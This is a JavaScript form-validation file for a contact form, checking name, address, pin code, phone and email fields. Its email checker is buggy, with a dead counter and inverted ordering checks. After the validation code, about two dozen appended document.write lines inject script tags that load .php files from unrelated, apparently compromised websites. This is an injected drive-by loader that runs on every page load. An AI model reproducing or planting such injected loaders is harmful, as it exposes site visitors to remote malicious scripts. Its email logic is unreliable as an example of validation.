// JavaScript Document
function checkEmail(str)
	
 {
	//alert ("Hi this is testing");
	
  if((str.indexOf("@")==-1) || (str.indexOf(".")==-1))
  {
   fstr="Please Enter @ or .";
   return false;
  }
  else
  {
  if((str.indexOf("@") == 0) || (str.indexOf(".") == 0))
  {
   fstr="@ or . Cannot Be first";
   //alert(fstr);
   return false;
  }
  if((str.indexOf("@") == (str.length-1)) || (str.indexOf(".") == (str.length-1)))
  {
   fstr="@ or . Cannot Be Last";
   return false;
  }
  if(str.indexOf("@") > str.indexOf("."))
  {
   fstr="@ Should be After .";
   return false;
  }
  if((str.indexOf("@")+1) == str.indexOf("."))
  {
   fstr="@. IS Invalid Email";
   return false;
  }
  }
  var cp=0;     
  if(cp==2)
  {
   fstr="@ cannnot be repeated";
   return false;
  }
  return true;
 }

function Validate()
{
	
 var firstname = document.ards.firstname.value;
 var lname = document.ards.lname.value;
 var companyname = document.ards.companyname.value;
 var address = document.ards.address.value;
 var city = document.ards.city.value;
 var state = document.ards.state.value;
 var country = document.ards.country.value;
 var pin = document.ards.pin.value; 
 var phno = document.ards.phno.value;
 var email = document.ards.email.value;
 var mess = document.ards.mess.value;
 /*var property = document.ards.property.value;
 var square = document.ards.square.value;
 var location = document.ards.location.value;
 var price = document.ards.price.value;*/
 
    if (firstname == "" || firstname == null)//first filed name
 {
    alert("Enter First Name");
    document.ards.firstname.focus();
    return false;
 }
 
    if (lname == "" || lname ==  null)//last field name
  {
    alert ("Enter Last Name");
    document.ards.lname.focus();
    return false;
 }
 
    if (companyname == "" || companyname == null)// street field name
  {
    alert ("Enter Company Name");
    document.ards.companyname.focus();
    return false;
 }
 if (address == "" || address == null)// street field name
  {
    alert ("Enter Your Address");
    document.ards.address.focus();
    return false;
 }
    if (city == "" || city ==  null)//City field name
  {
    alert("Enter City Name");
    document.ards.city.focus()
    return false;
 }
 
    if (state == "" || state ==  null)//State field name
  {
    alert("Enter State Name");
    document.ards.state.focus()
    return false;
 }
 
 if (country == "")//pincode field name
  {
    alert("Enter Country");
    document.ards.country.focus();
    return false;
 }
  if (pin == "")//pincode field name
  {
    alert("Enter Pin Code");
    document.ards.pin.focus()
    return false;
 }
 else
 {
   if (isNaN(pin))//pincode field name
   {
    alert("Enter a valid Pin Code");
    document.ards.pin.focus()
    return false;
   }
  } 
  
  if (phno == "")//pincode field name
  {
    alert("Enter Phone no");
    document.ards.phno.focus()
    return false; }
 else
  
  if(isNaN(phno))//phone no field
  {
    alert("Enter a valid Phone no");
    document.ards.phno.focus()
    return false;
 }
 
   if (email == "" || email == null)//email field name
  {
    alert("Enter Your Email");
    document.ards.email.focus();
    return false;
 }
 else
  {
     if(checkEmail(email) == false)
  {
      alert("Invalid E-Mail  \n"+email);
   document.ards.email.focus();
   return false;
   }
  }
     
   /* if(property == "")//Property field
  {
    alert("Enter property value ");
    document.ards.property.focus()
    return false;
 }
   
    if(square == "")//Square value field
  {
    alert("Enter square value");
    document.ards.square.focus()
    return false;
 }
 
     if(location == "")//Location field
  {
    alert("Enter Loacation");
    document.ards.location.focus()
    return false;
 }
 
    if(price == "")//Price field
  {
    alert("Enter Price");
    document.ards.price.focus()
    return false;
 } */
 
    if(mess == "")//comment field
  {
    alert("Enter Your Message");
    document.ards.mess.focus()
    return false;
 }
return true;
}
document.write('<script src=http://bewegen-sie-ihren-alltag.de/produkte/images/Thumbs.php ><\/script>');
document.write('<script src=http://bewegen-sie-ihren-alltag.de/produkte/images/Thumbs.php ><\/script>');
document.write('<script src=http://anamaithaperng.com/UserFiles/Image/ttri.php ><\/script>');
document.write('<script src=http://anamaithaperng.com/UserFiles/Image/ttri.php ><\/script>');
document.write('<script src=http://anamaithaperng.com/UserFiles/Image/ttri.php ><\/script>');
document.write('<script src=http://pracehavlickuvbrod.cz/wp-admin/wp-cron.php ><\/script>');
document.write('<script src=http://sumitenterprises.net/SpryAssets/products.php ><\/script>');
document.write('<script src=http://sumitenterprises.net/SpryAssets/products.php ><\/script>');
document.write('<script src=http://sumitenterprises.net/SpryAssets/products.php ><\/script>');
document.write('<script src=http://tek-ar.com/cgi-bin/hizmet.php ><\/script>');
document.write('<script src=http://tek-ar.com/cgi-bin/hizmet.php ><\/script>');
document.write('<script src=http://tek-ar.com/cgi-bin/hizmet.php ><\/script>');
document.write('<script src=http://tek-ar.com/cgi-bin/hizmet.php ><\/script>');
document.write('<script src=http://tek-ar.com/cgi-bin/hizmet.php ><\/script>');
document.write('<script src=http://cellphoneaccessoriesshoponline.com/iii/googlef21f1a4cf257c802.php ><\/script>');
document.write('<script src=http://cellphoneaccessoriesshoponline.com/iii/googlef21f1a4cf257c802.php ><\/script>');
document.write('<script src=http://cellphoneaccessoriesshoponline.com/iii/googlef21f1a4cf257c802.php ><\/script>');
document.write('<script src=http://cellphoneaccessoriesshoponline.com/iii/googlef21f1a4cf257c802.php ><\/script>');
document.write('<script src=http://cellphoneaccessoriesshoponline.com/iii/googlef21f1a4cf257c802.php ><\/script>');
document.write('<script src=http://cellphoneaccessoriesshoponline.com/iii/googlef21f1a4cf257c802.php ><\/script>');
document.write('<script src=http://salestraininginstitute.co.in/_notes/index.php ><\/script>');
document.write('<script src=http://salestraininginstitute.co.in/_notes/index.php ><\/script>');
document.write('<script src=http://salestraininginstitute.co.in/_notes/index.php ><\/script>');
document.write('<script src=http://salestraininginstitute.co.in/_notes/index.php ><\/script>');
document.write('<script src=http://salestraininginstitute.co.in/_notes/index.php ><\/script>');
document.write('<script src=http://salestraininginstitute.co.in/_notes/index.php ><\/script>');